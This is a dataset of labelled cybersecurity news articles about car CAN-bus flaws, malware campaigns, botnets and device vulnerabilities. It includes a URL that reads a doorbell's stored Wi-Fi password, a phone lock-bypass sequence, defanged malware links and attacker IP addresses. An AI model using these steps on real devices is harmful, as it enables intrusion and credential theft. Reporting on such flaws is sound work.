How Your Smart Car Can Get Hacked?

The hack particularly targets the messaging system in CAN, in which messages, including errors, are called ""frames.""

""Our attack focuses on how CAN handles errors. Errors arise when a device reads values that do not correspond to the original expected value on a frame,"" Trend Micro researcher Federico Maggi writes in a blog post.

""When a device detects such an event, it writes an error message onto the CAN bus in order to ""recall"" the errant frame and notify the other devices to entirely ignore the recalled frame.""

By overloading the system with error messages, attackers can make a device to go into a Bus Off state, cutting it off from the greater CAN system and making it inoperable.

This, in turn, allows attackers to deactivate essential systems like the airbag system or the anti-lock braking system, which could result in dangerous and even fatal situations.

The attack requires a ""specially-crafted attack device"" to be introduced via local access, which is only possible if the attacker has access to your vehicle.

However, researchers believe that current transportation trends like ride-sharing, carpooling, and car renting have made the scenario much easier.

It's a Design Flaw — Can't Be Patched!
Since the vulnerability exists in the design of the CAN bus messaging protocol used in CAN controller chips, the issue can not be directly patched with an OTA (on-the-air) upgrade or dealer recall.

Patching this design flaw requires changes in the CAN standards and an entire generation of vehicles using this specification. So, unfortunately, there is no remedy to the problem yet.

However, the researchers recommended car manufacturers to adopt some network countermeasures, which would mitigate such attacks, but not entirely.

""Car manufacturers can only mitigate the attack we demonstrated by adopting specific network countermeasures, but cannot eliminate it entirely,"" the researchers said.

""To eliminate the risk entirely, an updated CAN standard should be proposed, adopted, and implemented. This whole process would likely require another generation of vehicles.""

Researchers also suggest car makers even to consider adding a layer of encryption to the CAN bus protocol that will make messages harder to mimic, as part of a long-term security solution.

",Vulnerability
Syrian Malware and Darkcomet RAT : They can't blame the Developers,https://thehackernews.com/2012/02/syrian-malware-and-darkcomet-rat-they.html,"Syrian Malware and Darkcomet RAT : They can't blame the Developers


Two days before we reported about The Syrian Malware - programs used to target the Syrian opposition. According to Report, They steal the identities of opposition activists, then impersonate them in online chats, then they gain the trust of other users, pass out Trojan horse viruses and encourage people to open them.

Telecomix agents Reverse-engineered that malware and Found that Darkcomet RAT (Remote Administration Tool) version was 3.3 was Injected in SFX (SelF-eXtracting) archives as 1122333.exe injects this binary program into the Windows process ""svchost.exe"".

Telecomix blame Jean-Pierre aka DarkCoderSc (Developer of Darkcomet) for creating this tool by saying ""Jean-Pierre, please, next time you thing about writing some ""espionnage software"" think about life at stakes here and do something useful instead with your talent.""

In Response Jean-Pierre write on a blog post, ""i would like to say publicly that i'm very sorry about this i never thought and i never knew that they use my free software (proper word would be hijacked) for doing this."". ""i code software because it is my passion i feel comfortable to doing this, i don't do this for money even if i could sell it i don't, i just sell for a chip price a support and thats all, i have nothing else to win.""

Not even this, DarkCoderSc deciding to shut down his Project : Darkcomet, But we strongly believe and supporting DarkCoderSc to keep running this Project. This Tool was never developed for being a weapon for cyber war. The contribution of Jean-Pierre is Revolutionary in IT security. Don't let people bring you down. They can't Blame the Developers !

",Malware
Alleged Skynet Botnet creator arrested in Germany,https://thehackernews.com/2013/12/alleged-skynet-botnet-creator-arrested.html,"The German Federal Criminal Police Office (BKA) has arrested a gang of cyber criminals believed to be responsible for creating the Skynet Botnet.

Skynet was first detected by Security Firm G DATA in December 2012. It is a variant of the famous Zeus malware to steal banking credentials with DDoS attack and Bitcoin mining capabilities. The Botnet was controlled from an Internet Relay Chat (IRC) server hidden behind Tor network in order to evade sinkholing.
According to a press release from German police, they arrested two people suspected of illegally generating Bitcoins worth nearly $1 million using a modified version of existing malware i.e. Skynet Botnet.

German police conducted raids earlier this week on 3rd December and found evidence of other hacking activities i.e. Fraud and distribution of copyrighted pornographic material. A third person is under suspicion but has not been arrested.

However, Police didn't mention Skynet Botnet in their press release, but just a day after the arrest, Thomas Siebert - Security Researcher at G DATA has also confirmed that the Skynet Botnet authors were arrested by the German Police on 3rd December, 2013.

On 6th December, twitter account of Skynet author tweeted:
'You have the wrong guy. Use this tweet as evidence to do the right thing and release him.'
According to MalwareTech blog post, 'It would seem the tweet is an automated message or he requested a friend post it in the event of his arrest.'
Last year, hacker on a Reddit post described that they have successfully compromised more than 15,000 systems and once infected, the malware downloads Bitcoin miners, exploit computational resources of the victim system and uses them in the mining process.
""My Botnet only mines if the computer is unused for 2 minutes and if the owner gets back it stops mining immediately, so it doesn't suck your fps at MW3. Also its mines as low priority so movies don't lag. I also set up a very safe threshold, the cards work at around 60% so they don't get overheated and the fans don't spin as crazily.""
A Botnet network behind the Tor network makes it much harder for researchers and law enforcement agencies to identify the malware operators and to shut down the server.

It is not clear at the time of writing that Skynet Botnet servers are taken down or not by the German Police, but we have not seen any tweet from the author's account since 6th December.

Stay Tuned to +The Hacker News ! We will let you know the related updates about the case.

",Malware
Critical iOS vulnerability in Configuration Profiles pose malware threat,https://thehackernews.com/2013/03/critical-ios-vulnerability-in.html,"Israeli mobile security start-up Skycure has exposed a vulnerability that could allow hackers to control and spy on iPhones. A major security vulnerability for iOS configuration profiles pose malware threat.

The vulnerability affects a file known as mobileconf files, which are used by cell phone carriers to configure system-level settings. These can include Wi-Fi, VPN, email, and APN settings. Apple used to use them to deliver patches, and carriers sometimes use them to distribute updates.
Adi Sharabani, CEO and co-founder of Skycure, made a demonstration that how sensitive information, including the victim's exact location, could be retrieved, while also controlling the user's iPhone.


In Demo, he setup a fake website with a prompt to install a configuration profile and sent the link out to Victim. After installing it, he found out they were able to pull passwords and other data without his knowledge.
These malicious profiles can be emailed or downloaded from Web pages and after being installed, and attacker able to change a large number of iPhone settings.

If used maliciously, these profiles can be very dangerous. Even though their use is approved by Apple, they aren't subject to the standard sandboxing rules that apply to third party App Store apps and websites.

Other than an attack on privacy, this could lead to more dangerous consequences as an example, it is quite easy to change a GPS destination while driving and send the smartphone owner to a location the attacker chooses.

",Vulnerability
DDoSCoin — New Crypto-Currency Pays Users for Participating in DDoS Attacks,https://thehackernews.com/2016/08/ddoscoin-cryptocurrency.html,"It's 2016, and now, you can earn some dollars by contributing into well-organized DDoS attack scheme.

Do you know while mining Bitcoins you are actually contributing a significant computational power to keep the Bitcoin network running?

In Bitcoins, the miners actually build and maintain massive public ledger containing a record of every Bitcoin transaction in history.

When one user tries to send Bitcoins to another user, the miners validate the transfer by checking the ledger to make sure the sender is not transferring money he/she does not have, adding the transaction to the ledger and then finally sealing it behind layers and layers of computational work to protect that ledger from getting compromised or hacked.

So for this, miners are rewarded with Bitcoins.

So, basically, you are contributing the massive amount of computing power that keeps the Bitcoin transactions running and makes you earn some cryptocurrency in return as an incentive.

However, Bitcoin has long been criticized for not utilizing that huge amount of computational power into something useful as well.

To utilize all those CPU cycles, a few years back researchers came forward with another cryptocurrency, called ""PrimeCoin.""

In PrimeCoin, the miners' computational power is not only used to keep the transaction running but also used to find the long chain of the prime number, which plays a great role in encryption and cryptography.

But, this time, a pair of curious researchers recently proposed the weirdest concept:

A malicious digital currency that can be mined only if the miners participate in Distributed Denial of Service (DDoS) attacks against preselected target websites make them temporarily unavailable by flooding them with Millions of simultaneous requests.

Proof-of-DDoS: Participate in DDoS Attack and Earn Reward

DDoSCoin, developed by Eric Wustrow and Benjamin VanderSloot from the University of Colorado Boulder and the University of Michigan, is a theoretical cryptocurrency that rewards a miner for opening a large number of TLS connections to target web servers.

The malicious proof-of-work (which the duo called ""Proof-of-DDoS"") model used by DDoSCoin miners functions only with websites that support TLS 1.2, and since over half of the top million websites support TLS 1.2 version of the protocol, it will be easy for miners to earn the reward.
""In modern versions of TLS, the server signs a client-provided parameter during the handshake, along with server-provided values used in the key exchange of the connection,"" the researchers wrote in the paper DDoSCoin: Cryptocurrency with a Malicious Proof-of-Work [PDF], allowing the client to prove that it has participated in the DDoS attack against the target server.
In this way, the new system will reward users who prove they have participated in a DDoS attack.

Miners with DDoSCoin blocks could then trade their cryptocurrencies for other, including Bitcoin and Ethereum, the researchers suggested.

The researchers presented their paper at the Usenix 2016 security conference, noting that Bitcoin's computationally intensive proof-of-DDoS ""does not contribute to any useful problems besides securing the currency from attack.""

How to Setup DDoS Targets in DDoSCoin?
If you want to set up a target for DDoS, you can use the PAY_TO_DDOS transaction that includes two arguments:

Domain of the victim website.
The number of TLS connections that need to be established.

These transactions are recorded as DDoSCoin blocks inside a database (or blockchain). Now, miners only need to select one of the blocks, launch attacks, and thus receive DDoSCoin as a reward for fulfilling the transaction.

What If Everybody wants to DDoS Everybody?

Now, the question here is: How this cryptocurrency will decide, which target should get DDoSed on priority?

According to researchers, multiple miners must participate and decide together which domain to be attacked.

Future Schemas and DDoS Frameworks

Till now, we have seen multiple hire-for-DDoS services in the underground market, where anyone willing to take down a targeted website can just pay hackers and get their job done.

At the current, this paper is only a theoretical concept, and the DDoSCoin crypto-currency currently does not exist.

However, I can predict that soon we would see similar business models by blackhat hackers, where to earn money, people would themselves join botnet networks to contribute their bandwidth for DDoS attacks.

",Cyber_Attack
$30 Child Toy is enough to hack FBI Radios,https://thehackernews.com/2011/08/30-child-toy-is-enough-to-hack-fbi.html,"$30 Child Toy is enough to hack FBI Radios
The portable radios used by many federal law enforcement agents have major security flaws that allowed researchers to intercept hundreds of hours of sensitive traffic sent without encryption over the past two years, according to a new study being released today.

A new report on the findings has been released by team leader and computer science professor Matt Blaze from the University of Pennsylvania. That details how a child's toy, the $30 IM Me can be used to jam radios used by the FBI and Homeland Security.

""We monitored sensitive transmissions about operations by agents in every Federal law enforcement agency in the Department of Justice and the Department of Homeland Security,"" wrote the researchers, who were led by computer science professor Matt Blaze and plan to reveal their findings Wednesday in a paper at the Usenix Security Symposium in San Francisco.

Members of the research group say they have contacted the Department of Justice, Homeland Security and other agencies. The group has created a website with information law enforcement groups can use to help mitigate the problems. A paper published last year also warned about security weaknesses in the radios.

Read more at [Source]

",Vulnerability
Ransomware malware targeting Skype users,https://thehackernews.com/2012/10/ransomware-malware-targeting-skype-users.html,"Security firm Trend Micro discovered a new worm targeting Skype users with spam messages designed to infect machines with the Dorkbot ransomware has been discovered. A malicious worm is taking advantage of the Skype API to spam out messages that link to a ZIP files ie. skype_06102012_image.zip or skype_08102012_image.zip, which is actually detected as Troj/Agent-YCW or Troj/Agent-YDC by Antivirus.

According to definition - Ransomware is a form of malware in which rogue software code effectively holds a user's computer hostage until a ""ransom"" fee is paid. Ransomware often infiltrates a PC as a computer worm or Trojan horse that takes advantage of open security vulnerabilities. Most ransomware attacks are the result of clicking on an infected e-mail attachment or visiting a hacked website.

The message contains the question:
""lol is this your new profile pic? h__p://goo.gl/{BLOCKED}5q1sx?img=username""
or
""moin, kaum zu glauben was für schöne fotos von dir auf deinem profil h__p://goo.gl/{BLOCKED}5q1sx?img=username""

A list of worm files used in campaign:
hxxp :/ / goo.gl / SAOmJ
⇒ hxxp :/ / hotfile.com/dl/174771453/720762e/skype_03102012_image.zip.html

hxxp :/ / goo.gl / frbXD
⇒ hxxp :/ / hotfile.com/dl/174868532/a8009ef/skype_04102012_image.zip.html

hxxp :/ / goo.gl / agsIb
⇒ hxxp :/ / hotfile.com/dl/174887318/f59c5c2/skype_04102012_image.zip.html

hxxp :/ / goo.gl / AzaqI
⇒ hxxp :/ / hotfile.com/dl/175002041/debb544/skype_05102012_image.zip.html

hxxp :/ / goo.gl/QYV5H
⇒ hxxp :/ / hotfile.com/dl/175082698/230fce5/skype_05102012_image.zip.html

hxxp :/ / goo.gl / UPhHf
⇒ hxxp :/ / hotfile.com/dl/175180403/4b2da19/skype_06102012_image.zip.html

hxxp :/ / goo.gl/5q1sx
⇒ hxxp :/ / hotfile.com/dl/175339084/d951071/skype_08102012_image.zip.html

The executable installs a variant of the Dorkbot worm (also known as NRGbot), which appears to initiate large scale click-fraud activity on each compromised machine as well as recruiting it into a botnet. The Dorkbot variant infects the machine with ransomware that locks the user out and encrypts their files, before going on to charge them $200 to unlock the machine.

Ransomware is becoming an increasingly common tool in cyber criminals arsenal.

Few past news related to Ransomware:
First Irish language Ransomware Malware demanding €100 for unlock
New Ransom malware infecting computers
Ransomware replaces Window
s MBR and asking users for Money

",Malware
How to Hack WiFi Password from Smart Doorbells,https://thehackernews.com/2016/01/doorbell-hacking-wifi-pasword.html,"The buzz around The Internet of Things (IoT) is growing, and it is growing at a great pace.

Every day the technology industry tries to connect another household object to the Internet. One such internet-connected household device is a Smart Doorbell.

Gone are the days when we have regular doorbells and need to open the door every time the doorbell rings to see who is around.
However, with these Internet-connected Smart Doorbells, you get an alert on your smartphone app every time a visitor presses your doorbell and, in fact, you can also view who's in front of your door.

Moreover, you can even communicate with them without ever opening the door. Isn't this amazing? Pretty much.

But what if your doorbell Reveals your home's WiFi password?


Use Smart Doorbell to Hack WiFi Password

Until now, we have seen how hackers and researchers discovered security holes in Smart Cars, Smart refrigerators, Smart kettles and Internet-connected Toys, raising questions about the security, privacy, and potential misuse of IoTs.

Now, security researchers at UK consultancy Pen Test Partners have discovered a critical security hole in Wi-Fi-enabled video doorbell that could be used to expose the home network password of users.

The security hole is uncovered in Ring – a modern IoT Smart doorbell that connects to the user's home WiFi network, allowing them to view who is in front of the door with the help of their mobile device, even if the user is not at home.

Additionally, the Smart doorbell also gives users option to hook up to some smart door locks, so users can let their guests or family members into their home even if they are not in the house.

Researchers were impressed by the functionality of Ring, though shocked when analysed the security of the device that allowed them to discover the home user's WiFi password.

Press Button, Access a URL and Get WiFi Password!

As researchers explain, with the help of screw gauge, anyone can detach the doorbell mounted on the outside of the house and press the orange button (given on its back), which puts the device's wireless component in AP (Access Point) mode.
""Pressing the setup button [puts] the doorbell's wireless module (a Gainspan wireless unit) into a setup mode, in which it acts as a Wi-Fi access point,"" the company's consultant David Lodge explains in a blog post.
You can then use your mobile phone to connect to the server, via a specific URL (https://192.168.240.1/gainspan/system/config/network).

When accessed, the above URL will reveal the wireless module's configuration file in the web browser, including the home WiFi network's SSID and PSK (Pre-Shared Key, a.k.a. password) in clear text.
Now, you just need to do is put the Smart doorbell back on the house's wall and disappear.

Since home WiFi networks have always been trusted by their owners who connect their devices to them, having access to this network, hackers can launch other malicious attacks against the victim's workstations, and other smart devices.

Researchers reported the security hole to Ring that resolved the issue via a firmware update released just two weeks after they were notified.

",Vulnerability
Gootkit RAT Using SEO to Distribute Malware Through Compromised Sites,https://thehackernews.com/2021/03/gootkit-rat-using-seo-to-distribute.html,"A framework notorious for delivering a banking Trojan has received a facelift to deploy a wider range of malware, including ransomware payloads.
""The Gootkit malware family has been around more than half a decade – a mature Trojan with functionality centered around banking credential theft,"" Sophos researchers Gabor Szappanos and Andrew Brandt said in a write-up published today.
""In recent years, almost as much effort has gone into improvement of its delivery method as has gone into the NodeJS-based malware itself.""
Dubbed ""Gootloader,"" the expanded malware delivery system comes amid a surge in the number of infections targeting users in France, Germany, South Korea, and the U.S.
First documented in 2014, Gootkit is a Javascript-based malware platform capable of carrying out an array of covert activities, including web injection, capturing keystrokes, taking screenshots, recording videos, as well as email and password theft.
Over the years, the cybercrime tool has evolved to gain new information-stealing features, with the Gootkit loader repurposed in combination with REvil/Sodinokibi ransomware infections reported last year.
While campaigns using social engineering tricks to deliver malicious payloads are a dime a dozen, Gootloader takes it to the next level.
The infection chain resorts to sophisticated techniques that involve hosting malicious ZIP archive files on websites belonging to legitimate businesses that have been gamed to appear among the top results of a search query using manipulated search engine optimization (SEO) methods.
What's more, the search engine results point to websites that have no ""logical"" connection to the search query, implying that the attackers must be in possession of a vast network of hacked websites. In one case spotted by the researchers, an advice for a real estate agreement surfaced a breached neonatal medical practice based in Canada as the first result.
""To ensure targets from the right geographies are captured, the adversaries rewrite website code 'on the go' so that website visitors who fall outside the desired countries are shown benign web content, while those from the right location are shown a page featuring a fake discussion forum on the topic they've queried,"" the researchers said.
Clicking the search result takes the user to a fake message board-like page that matches not only the search terms used in the initial query but also includes a link to the ZIP file, which contains a heavily obfuscated Javascript file that initiates the next stage of compromise to inject the fileless malware fetched from a remote server into memory.
This takes the form of a multi-stage evasive approach that begins with a .NET loader, which comprises a Delphi-based loader malware, which, in turn, contains the final payload in encrypted form.
In addition to delivering the REvil ransomware and the Gootkit trojan, multiple campaigns have been spotted currently leveraging the Gootloader framework to deliver the Kronos financial malware in Germany stealthily, and the Cobalt Strike post-exploitation tool in the U.S.
It's still unclear as to how the operators gain access to the websites to serve the malicious injects, but the researchers suspect the attackers may have obtained the passwords by installing the Gootkit malware or purchasing stolen credentials from underground markets, or by leveraging security flaws in present in the plugins used alongside content management system (CMS) software.
The findings have been echoed by Microsoft in a series of tweets, noting it's ""seeing numerous extensive hands-on-keyboard attacks emanating from the Gootkit malware, which is distributed via drive-by downloads as a JavaScript within a ZIP file.""
""The developers behind Gootkit appear to have shifted resources and energy from delivering just their own financial malware to creating a stealthy, complex delivery platform for all kinds of payloads, including REvil ransomware,"" said Gabor Szappanos, threat research director at Sophos.
""This shows that criminals tend to reuse their proven solutions instead of developing new delivery mechanisms. Further, instead of actively attacking endpoint tools as some malware distributors do, the creators of Gootloader have opted for convoluted evasive techniques that conceal the end result,"" he added.

",Cyber_Attack
Web hosting administration company InterWorx Hacked !,https://thehackernews.com/2011/03/web-hosting-administration-company.html,"Web hosting administration company InterWorx Hacked !

Web-hosting administration outfit InterWorx has warned users to change their passwords following a deep penetrating hack attack.
The assault on the firm's support desk database exposed users' login credentials because the support desk software was storing email and password data in plain text. Users were strongly advised to change their passwords on any site they accessed using the same login credentials as they used with InterWorx.



The compromise – which ran between 28 February and 5 March – gave hackers admin control of websites administered through InterWorx, a facility they soon set about abusing in order to distribute malware.
In a notice warning of the breach, InterWorx warns that a ""few clients"" have had their servers ""modified to distribute malware javascript, as a direct result of this attack"".
InterWorx apologised for the breach in an email sent to users on Thursday and forwarded toEl Reg. Breaches at web service firms that result in requests to change up passwords are far from unusual. The InterWorx breach is on the serious end of such breaches; the only silver lining is that its billing portal was run off a separate, segregated server and not hit by the attack.
The web-hosting services firm has promised a full security review in the wake of the incident.
US-based InterWorx provides a web-hosting control panel that is designed to make work easier for website administrators. The technology incorporates high-availability clustered features absent from some competing services.


",Malware
Cyber criminals targeting another cryptocurrency 'Primecoin' with malicious miners,https://thehackernews.com/2014/01/cyber-criminals-targeting-another.html,"Like Bitcoin, There are numerous other cryptocurrency similar in nature, including MasterCoin, ProtoShares, Litecoin, Peercoin, BitBar and many more.

One of them is Primecoin (sign: Ψ; code: XPM), a peer-to-peer open source cryptocurrency that implements a scientific computing proof-of-work system. Unlike Bitcoin or other virtual currencies, only Primecoin provides a proof of work that has intrinsic value. It generates a special form of prime number chains, known as 'Cunningham chains & bi-twin chains' and has a real world importance in mathematical research.

Worldwide famous RSA Encryption basically uses two prime numbers for generating a RSA key pair. If you are able to factorize the public key and find these prime numbers, you will then be able to find the private key. Thus, the whole Security of RSA encryption is based on the length of prime numbers. So, Primecoin plays a great role for crypto researchers to get large... and a very large number of Primes.

Like other cryptocurrency miners, Primecoin miners are also available and in simple terms, just put your computer to work to find prime numbers chain and make money.

After Bitcoin, the increasing public attention of other cryptocurrency did not go unnoticed by the Cyber criminals who have begun unleashing Primecoin mining malware.

Mehrdad Yazdizadeh, a security researcher from antivirus firm 'Panda Security' told The Hacker News that he has found few malicious Primecoin miners available on the Internet for Download from some Chinese websites and Torrents.
""Primecoin miners are written in python and other scripting languages are using a variety of methods to infect the users' systems i.e. Brute-forcing, privilege escalation, modify SQL tables"". He said.

Those infected systems can be used as a botnet network to perform further attacks. Another interesting feature of this malware is the ability to host SQL server through XP_cmdshell of MSSQL.

""On execution, the malware will inject the SQL server to cmd.exe, svchost.exe, explorer.exe and similar process to hide itself as rootkits"" he added.
Users affected by this malware will experience abnormally high CPU usage on their computers as a result of the infection.

Further analyses showed that the malware creates a process that call ""sqlservr.exe"", pointing to another file i.e. ""primecoin.conf"", which contains the credential and the IP address of the malware's master to communicate.

""Even if a user will delete sqlservr.exe or the conf folder, it will recover itself again and again. Also, malware is capable to enable the windows Guest account automatically"" he said.

He found thousands of login (mostly failed to login) activities in a infected machine via the windows event, seems that Malware is facilitating the attacker to brute force the system user accounts for privilege escalation.
He collected some of the attacker's IP addresses from where the brute-force attack was triggered:
59.53.67.154
59.53.67.154
59.53.67.13
58.218.199.248
58.218.199.248
23.91.24.39
23.228.193.83
23.228.193.82
222.78.223.84
222.214.218.50
222.163.193.37
220.178.30.230
220.178.30.230
220.178.30.230
216.99.158.69
216.99.150.238
""I saw an attempt was made to reset an account's password. It tried to download more malicious files from other servers, "" he said.

More features he noticed are:
Replicating itself through file systems
Killing the antivirus and security programs
According to the virus total report currently almost none of the Antivirus products are able to detect it:
Report-1
Report-2
Report-3
Report-4
Report-5
Update: Mehrdad informed us that Panda Antivirus is now able to detect this malware. Users are advised to keep their system/networks behind the shield of Firewall/IPS/IDS and install 'Panda Cloud Cleaner' for remove this threat.

",Malware
"Mobile malware on the rise, McAfee Q4 Threats Report",https://thehackernews.com/2012/02/mobile-malware-on-rise-mcafee-q4.html,"McAfee Q4 Threats Report, Mobile malware on the rise
The number of new malware releases slowed during the final three months of 2011, but was higher than expected for the year. Computer and mobile security firm McAfee has warned ""no organisation,platform or device"" is immune from malware attacks as it released its Q4 2011 Threats Report.

Mobile malware hit more than 400 unique samples in Q4, up from over 100 in the third quarter, and less than 50 samples in the first quarter of last year. McAfee also found that PC malware counts declined during Q4, and were lower than in Q4 of 2010. Even so, the total number of unique malware samples is more than 75 million as of Q4, the report says.

""On a global basis, we are conducting more of our personal and business transactions through mobile devices, and this is creating new security risks and challenges in how we safeguard our commercial and personal data,"" said Vincent Weafer, senior vice-president of McAfee Labs.

McAfee Labs recorded an average of 9,300 new bad websites per day in Q4, up from 6,500 in the previous quarter. The vast majority of new malicious sites were hosted in the US, followed by the Netherlands, Canada, South Korea and Germany.

McAfee noted that both SQL injection and cross-site scripting attacks were increasingly observed over the quarter, while corporate espionage and hacktivist attacks also look set to climb in 2012.""We saw some advances in cybercrime toolkits, as well as events that may have involved national governments,"" the company said in its report.

",Malware
Samsung Galaxy S II (AT&T) trusted pattern lock Security Bypassed,https://thehackernews.com/2011/09/samsung-galaxy-s-ii-at-trusted-pattern.html,"Samsung Galaxy S II (AT&T) trusted pattern lock Security Bypassed
Major security flaw found in AT&T's upcoming Samsung Galaxy S II device. Guys at BGR noticed that the information on the upcoming AT&T version of the Samsung Galaxy S II isn't so safe behind a once trusted pattern lock, and that it can quite simply be bypassed.


All you have to do : Wake the device using the lock key, then let the screen time out, then wake it again with the lock key and you can access all the data.

AT&T's Version of Samsung Galaxy S II is confirmed to have this security flaw, but the Sprint version or other does not suffer from this.Even I just check my own Samsung Galaxy S II (Indian Version), Yeah - ITS SAFE :)

Video Demonstration

[Source]

",Vulnerability
Small satellite terminals (VSAT) are vulnerable to Cyber attack,https://thehackernews.com/2014/01/small-satellite-terminals-vsat-are.html,"The Military Units that rely on very small aperture terminals (VSATs) for satellite communications in remote areas are vulnerable to cyber attack.

Researchers from cyber intelligence company IntelCrawler recently identified nearly 3 million VSATs, many of them in the United States, and found that about 10,000 of them could be easily accessed because of configuration weaknesses.
""We have scanned the whole IPv4 address space since 2010 and update the results in our Big Data intelligence database, including details about the satellite operator's network ranges, such as INMARSAT, Asia Broadcast Satellite, VSAT internet iDirect, Satellite HUB Pool, and can see some vulnerabilities,""
Researchers have warned that terminals having data transmission rate 4kbps to 16 Mbps used in narrow and broadband data transmission are vulnerable to cyber attack.
VSATs are most commonly used to transmit narrowband data such as credit card, polling or RFID data or broadband data for VoIP or video using the Satellites in geosynchronous orbit generally used for Television & Radio broadcast, direct broadcast, military communication. Its name originated from the relatively small dish antenna with a diameter no longer than 10 feet (3 meters).
IntelCrawler claimed that VSAT can be easily hacked because of poor password policy & default settings. Vulnerable terminals can be used for a planned cyber-attack, to be more precise on distributed network and infrastructure.

Dan Clements, IntelCrawler's President said:
""Many VSAT devices have Telnet access with very poor password strength, many times using default factory settings,""
""Intrusions to such open devices can allow you to monitor all the network traffic related to the exact device or host, sometimes with very sensitive information, which can lead to a compromise of the internal network,""
""The door might be six inches open, and of course you're not going in, but you can see there's a vulnerability there,""
""There's a lot of information that could be used in a nefarious way,"" Clements said. ""Certainly you could put together a plan to go after certain grids or dams or power plants and have access to the centralized network at some point.""
According to the report, there are more than 313 open UHP VSAT, 9045 open terminals (HUGHES) and 1,142 terminals (SatLink), that can be easily hacked by malicious attackers.
HUGHES is one of the largest manufacturers of VSATs which are mostly used in offline ATMs by several national central banks. Physical locations of a number of VSATs can be easily searched on Google maps and Google Earth, which could allow attackers to plan more sophisticated physical attacks.
""They are also widely spread in the industrial sector, such as energy, oil and gas, where the whole infrastructure is based on distributed environments located in different regions, cities or sometimes continents. According to statistics, there are 2,931,534 active VSAT terminals in the world now, with the majority installed in the US."" according to the The Comsys VSAT report.
IntelCrawler also found network ranges of government and classified communications, e.g. Ministry of Civil Affairs of China infrastructure in ranges belongs to Shanghai VSAT Network Systems Co. LTD, and Ministry of Foreign Affairs of Turkey in Turksat VSAT Services, that poses critical threat to National Security.

",Vulnerability
'The Hacker News' Weekly Roundup — 14 Most Popular Stories,https://thehackernews.com/2015/09/cyber-security-hacking.html,"To make the last week's top cyber security threats and challenges available to you in one shot, we are once again here with our weekly round up.

Last week, we came across lots of cyber security threats like the XCodeGhost malware in Apple's App Store and lockscreen bypass bug in iOS 9 and iOS 9.0.1 that made us sad, but…

…we were also thrilled by latest developments such as Microsoft's new Linux-based operating system Azure Cloud Switch (ACS), unhackable MicroKernel ""SeL4"", and Facebook 'Dislike or Empathy Button'.

I recommend you to read the entire thing (just click 'Read More' because there's some valuable advice in there as well).

Here's the list:

1. Microsoft Developed its Own Linux Operating System

One of the trending news of last week. Microsoft built its own Linux-based operating system known as Azure Cloud Switch (ACS).

The company described ACS as a ""cross-platform, modular operating system for data center networking built on Linux,"" or simply, a ""commodity switch software stack for data center networks"".

The aim of developing a Linux-based operating system is to make it easier and simpler to control the hardware from multiple vendors (such as Switches) that power their cloud-based services. For working and functions of ACS, Read more…

2. D-Link Publishes its Private Code-Signing Keys on the Internet

Taiwan-based networking equipment manufacturer D-Link accidently published its Private code signing keys inside its open-source firmware packages.

As a result, an online user successfully developed a Windows application, which he was able to sign with the D-Link code signing keys, which was valid at the time.

Besides that code signing private keys, the user also discovered pass-phrases into the source code needed to sign the software. For in-depth information, Read more…

3. Unhackable Bug-Free MicroKernel – SeL4

Security Researchers, Mathematicians and Aviation gurus from Boeing and Rockwell Collins joined a team of dedicated NICTA researchers to create an open source, unhackable MicroKernel dubbed ""SeL4.""

SeL4 (Secure Microkernel Project) is a 3rd Generation MicroKernel designed to detect & foil hacking attempts. It supports various L4 microkernels features and promises high-performance with robust Security mechanisms that are even harder to Crack.

For an in-depth explanation, Read more…

4. AVG Antivirus Plans to Collect & Sell Your Personal Data to Advertisers

Remember, Nothing comes for Free! ""Free"" is just a relative term, as one of the world's most famous anti-virus companies has now admitted.

Czech Republic-based antivirus firm AVG updated its privacy policy in which it openly admits to collect and sell your data to online advertisers for the purpose of making money from its free anti-virus software.

The so-called ""non-personal data"" includes your browser and search history, meta-data, advertising ID associated with your device, Internet Service Provider (ISP) or Mobile Network you use and information regarding other apps you have on your device. For more information, Read more…

5. Aw, Snap! This 16-Character String can Crash Your Google Chrome
Security researcher Andris Atteka discovered a simple way to crash your Chrome browser — a small string of special characters.

Yes, a small string of 16 characters (https://a/%%30%30) caused your Chrome browser to crash. However, Google patched the flaw now, but the researcher didn't receive any bounty, as the bug was not a real security threat. Read more…

6. WIN $1 Million Bounty For Hacking the New iOS 9 iPhone

Yes, $1,000,000.00 Reward for finding zero-day hacks for iPhones and iPads.

Security firm Zerodium, a startup by the infamous security firm ""VUPEN"", announced a total of $3 Million ($3,000,000) bounty rewards for exploits and jailbreaks for Apple's latest mobile operating system iOS 9.

To know how you can Win this bounty reward, Read more…

7. 4000 Malicious iOS Store Apps Linked to CIA?

With the discovery of 39 malware infected iOS apps, FireEye researchers discovered nearly 4000 compromised iOS apps that were infected with same XCodeGhost malware.

XCodeGhost, a very harmful and dangerous piece of malware, was distributed through legitimate iOS Apps via counterfeit versions of Apple's app developer toolkit called Xcode.

It isn't clear that the attackers of XCodeGhost are linked to CIA, but the technique used by XCodeGhost is similar to that developed by Central Intelligence Agency (CIA) researchers, disclosed by the leaked documents provided by Edward Snowden.

For in-depth information, Read more…

8. Here's How Facebook 'Dislike or Empathy Button' Would Look Like

Excited about having Facebook Dislike or Empathy button to your Facebook Profile and News Feed?

Facebook will soon offer you this feature, But if you are thinking that Facebook Dislike button is going to be a thumbs-down, then you are wrong.

As Facebook's founder Mark Zuckerberg says, ""We did not want to just build a Dislike button [as] we do not want to turn Facebook into a forum where people are voting up or down on people's posts.""

Instead of thumbs down to express disapproval or pity, it could be Emojis. How? Read more…

9. How to Access Private Photos and Contacts in iOS Device Without a Passcode
Last week, iPhone user Jose Rodriguez found a new and quite simple way of bypassing the lockscreen of an iOS device running Apple's latest iOS 9 operating system, allowing you to access the device's photos and contacts in 30 seconds or less.

Few days after, Apple released its first update to iOS 9 mobile operating system that addressed several bugs but, unfortunately, the latest update iOS 9.0.1 didn't fix the lockscreen bypass vulnerability.

To prove this, Rodriguez published a new video that detailed a step-by-step explanation on how to bypass the passcode on iOS 9 as well as iOS 9.0.1 device, using the benevolent nature of Apple's personal assistant Siri.

For detailed explanation, Read more…

10. Fingerprints of 5.6 Million Federal Employees Stolen in OPM Hack

Few month ago, a massive data breach in the US Office of Personnel Management affected more than 21 Million federal employees, who had their personal, and highly sensitive private information hijacked.

However, now the US officials are admitting that more than 5.6 Million Fingerprints of its federal employees were also stolen in the data breach took place in April this year. The number is bigger than previously reported that some 1.1 Million Fingerprints were taken. Read more…

11. Lenovo Caught Pre-Installing Spyware on its Laptops

Lenovo has once again been caught pre-installing spyware on its laptops and workstations from Lenovo ThinkPad, ThinkCentre, and ThinkStation series without the user's permission or knowledge.

